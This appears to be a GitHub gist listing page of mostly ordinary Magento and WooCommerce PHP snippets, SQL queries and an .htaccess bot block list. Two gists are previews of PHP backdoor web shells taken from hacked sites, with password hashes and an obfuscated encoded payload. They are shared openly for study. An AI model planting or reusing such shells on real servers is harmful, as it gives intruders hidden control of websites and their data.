Skip to content

Instantly share code, notes, and snippets.

@wingsryder
wingsryder / create_order_programmatically.php
Last active December 31, 2015 17:49 — forked from brankoajzele/gist:2781404
Creating Order Programmatically
<?php
require_once 'app/Mage.php';
Mage::app();
$quote = Mage::getModel('sales/quote')
->setStoreId(Mage::app()->getStore('default')->getId());
$product = Mage::getModel('catalog/product')->load(6); /* 6 => Some product ID */
<?php
require_once 'abstract.php';
class Mage_Shell_Pricerules extends Mage_Shell_Abstract
{
public function run()
{
ini_set('memory_limit', '1024M');
$this->db = Mage::getSingleton('core/resource')->getConnection('core_read');

Magento Snippets

Set all categories to is_anchor 1

Find attribute_id

SELECT * FROM eav_attribute where attribute_code = 'is_anchor'

Update all of them with anchor_id from above (usually is ID 51)

UPDATE `catalog_category_entity_int` set value = 1 where attribute_id = 51
<block type="cms/block" name="block_name">
<action method="setBlockId"><id>block_code</id></action>
</block>
{{block type="cms/block" block_id="block_code"}}
{{block type="catalog/product_list" category_id="79" template="catalog/product/list_random.phtml"}}
@wingsryder
wingsryder / update_attribute_options.php
Last active August 29, 2015 14:25
Add Attribute (DropDown) Value in magento via csv
<?php
/**
* Add Attribute (DropDown) Options Value in magento via csv (http://prntscr.com/7wimts)
* CSV first column will have the values to import.
* @author Vikramjeet Thakur <[email protected]>
*
*/
ini_set('max_execution_time', 0);
@wingsryder
wingsryder / product_export_magento.php
Last active August 29, 2015 14:26
Magento Product Export using programmatically/ via SSH
<?php
set_time_limit(0);
/***********************
* Import/Export Script to run Import/Export profile
* from command line or cron. Cleans entries from dataflow_batch_(import|export) table
* $profileId = XX; // change this value as per id mentioned in Data Profile export/import (Screenshot :http://prntscr.com/80afwe)
***********************/
$mageconf = 'app/etc/local.xml'; // Mage local.xml config
$mageapp = 'app/Mage.php'; // Mage app location
@wingsryder
wingsryder / addressd.php
Created October 7, 2015 15:18 — forked from laacz/addressd.php
Found new backdoor script and decoded version. Have fun.
<?
// Password is "root" (w/o quotes, of course:)
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$xYEzDu6r3EZT="GR5yYXp3YH17ejRne3h9cGdgdWBxPDB5dX9xYWQ9NG8ZHjQ0NDQweHt4NCk0MzMvGR40NDQ0cntmPDB9KSQvMH00KDRnYGZ4cXo8MHl1f3FhZD0vMH0/KSY9NG8ZHjQ0NDQ0NDB4e3g6KXd8Zjx8cWxwcXc8Z2F2Z2BmPDB5dX9xYWQ4MH04Jj09PS8ZHjQ0NDRpGR40NDQ0ZnFgYWZ6NDB4e3gvGR5pGR4wZ3F9d3t4fXp/KWd7eH1wZ2B1YHE8MyYgIyciciMhIyYiJyIhJ3AiJiIlIyciISciJyAhciIgIiEiJyJyIiAiISYsIXUhLCF1IiwiJiAnIiwicSIhInAidyMhIXUicCMsIiwiICAjISEiciEtInAgIiN1IXUhICEtJyQhLCcmISYidyEtJyYnLSJ2IXUhJyIjInEgcSEjIC0jLCByISMhdScgIichICBwIyMiJSJ2ISUnICF1ICcnLScnIicgICEiICAgcCcnISYhJiImJyQnJScgIHEgISBxISYiJiJxIiwhdSEjISAhJiJ1IXUhLCMkICIhdSEjIHUgIyEiICwhdSchISEicSAlJyQiICAsIiMjIyF1JyUgIiEsIHAidyIsIyciJSEgIXUnJSBxISMidickIichIyAtIyIgcSclICYhISEgInUhdSEsISInJiMsInAhICEhISEnJSBxJycgdSclIiAgJyMgInAiJSMtJy0hJCEtISMgcSB2IScnJicsJyEhJiJ2IncgLCImI3UgIiAsIiYjdSJ3IC0hJyEhIicnJSEtInciIyN1IS0n
@wingsryder
wingsryder / walker-xhell.php
Last active December 27, 2015 12:45
walker-xhell.php
/* This script has been taken from one of hacked website by walker 404 / Arjasari Cyber Team. This has been shared for education purpose only.
*
*/
<?php
/**
$auth_pass = "1b20369c2cf27cd1fbc0ed634759f05e"; // password : umaruchan
$color = "cyan";
<?php
// to be add in functions.php
// THis will provide option to add Custom ORder for displaying category in sidebar in woo-commerce
// Screenshot : http://prntscr.com/axya62
add_action('product_cat_add_form_fields', 'category_metabox_add', 10, 1);
add_action('product_cat_edit_form_fields', 'category_metabox_edit', 10, 1);
add_action('created_product_cat', 'save_category_meta_data', 10, 1);
add_action('edited_product_cat', 'save_category_meta_data', 10, 1);
@wingsryder
wingsryder / .htaccess
Created March 23, 2017 13:32
Bot Block using .htaccess
# Bot Block #
RewriteEngine On
# Block Essential Bots #
#RewriteCond %{HTTP_USER_AGENT} ^(.*)msnbot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)MJ12bot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)BLEXBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)SolomonoBot [NC,OR]
#RewriteCond %{HTTP_USER_AGENT} ^(.*)bingbot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)Baiduspider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)Yeti [NC,OR]